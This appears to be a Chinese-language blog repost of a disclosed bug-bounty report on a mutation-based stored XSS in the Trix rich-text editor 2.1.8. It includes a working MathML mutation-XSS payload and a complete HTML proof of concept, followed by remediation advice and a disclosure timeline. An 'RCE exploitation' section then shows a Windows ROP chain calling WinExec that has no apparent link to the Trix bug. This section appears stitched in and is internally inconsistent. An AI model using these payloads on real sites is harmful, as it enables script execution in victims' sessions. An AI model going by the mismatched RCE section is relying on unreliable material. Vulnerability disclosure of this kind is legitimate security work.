Trix编辑器最新版(2.1.8)基于变异的存储型XSS漏洞与RCE利用分析

本文详细分析了Trix编辑器最新版本(2.1.8)中存在的基于变异的存储型XSS漏洞,包括利用复制粘贴向量绕过DOM净化器的技术细节,并展示了如何通过精心构造的Payload实现远程代码执行(RCE)的全过程。

报告 #2819573 - Trix编辑器最新版本(2.1.8)基于变异的存储型XSS

漏洞概述

在Trix编辑器(https://github.com/basecamp/trix)中发现了一个绕过净化器(sanitizer)的方法,该绕过基于变异(mutation),利用复制粘贴向量可实现XSS攻击。

示例Payload

1
<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>

解码HTML实体后得到以下Payload,其中包含变异XSS向量:

1
<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>

关于此绕过的更多细节,可阅读:https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/

复现步骤

使用类似报告#2521419中的PoC,可以复现此漏洞。将以下代码保存为.html文件,然后复制文本“copy me”并粘贴到编辑器中,将弹出alert。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>Trix Editor XSS Demo</title>
 <script src="https://cdn.jsdelivr.net/npm/trix@2.1.8/dist/trix.umd.js"></script>
 <link href="https://cdn.jsdelivr.net/npm/trix@2.1.1/dist/trix.min.css" rel="stylesheet">
</head>
<body>
 <h1>Trix Editor XSS Demo</h1>
 <trix-editor></trix-editor>
 <script>
  document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me`);
 </script>
</body>
</html>

影响

攻击者可利用这些漏洞在用户会话上下文中执行任意JavaScript代码,可能导致未授权操作或敏感信息泄露。

RCE利用开发过程

开发团队经历了多次PoC迭代,解决了不同系统间的偏移量差异问题。最终通过泄露Kernel基址并跳转到WinExec的方式实现了稳定的RCE。

ROP链示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; ROP Stage 1: Write "calc.exe" to a writable memory section
pop rcx              ; Load "calc.exe" part into rcx
ret;
pop rax              ; Load writable address into rax >0x9519000
ret;
mov [rax], rcx       ; Write "calc" to writable section

; ROP Stage 2: Resolve kernel base and WinExec function address
pop rcx              ; Load kernel base into rcx
ret   ;
mov rax, [rcx]       ; Resolve kernel function pointer
pop rbx              ; Load offset to WinExec
ret     ; Offset of WinExec from kernel base ->0x68820
add rax, rbx         ; Calculate WinExec address

; ROP Stage 3: Prepare parameters for WinExec
pop rcx              ; Load address of "calc.exe" into rcx; 0x9519000
ret;
pop rdx              ; Load SW_SHOWNORMAL into rdx
ret       ;     0x1 SW_SHOWNORMAL = 1
add rsp, 0x20        ; Align stack 
add rax, rbx         ; 

; ROP Stage 4: Trigger WinExec
call rax             ; Call WinExec("calc.exe", SW_SHOWNORMAL)

修复建议

  1. 更新DOM净化器版本至最新
  2. 使用DOMPurify的RETURN_DOM选项直接返回DOM树,避免对净化后的字符串进行修改
  3. 定期更新Electron版本并启用沙箱模式

时间线

  • 2024年11月4日:漏洞报告
  • 2024年11月21日:漏洞确认并标记为严重
  • 2024年11月26日:修复部署并发放奖金
  • 2024年12月9日:发布CVE和安全公告
  • 2025年6月27日:报告公开披露

相关资源

  • CVE公告:https://github.com/basecamp/trix/security/advisories/GHSA-6vx4-v2jw-qwqh
  • 修复版本:Trix 2.1.9/1.3.3 和 2.1.10/1.3.4
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计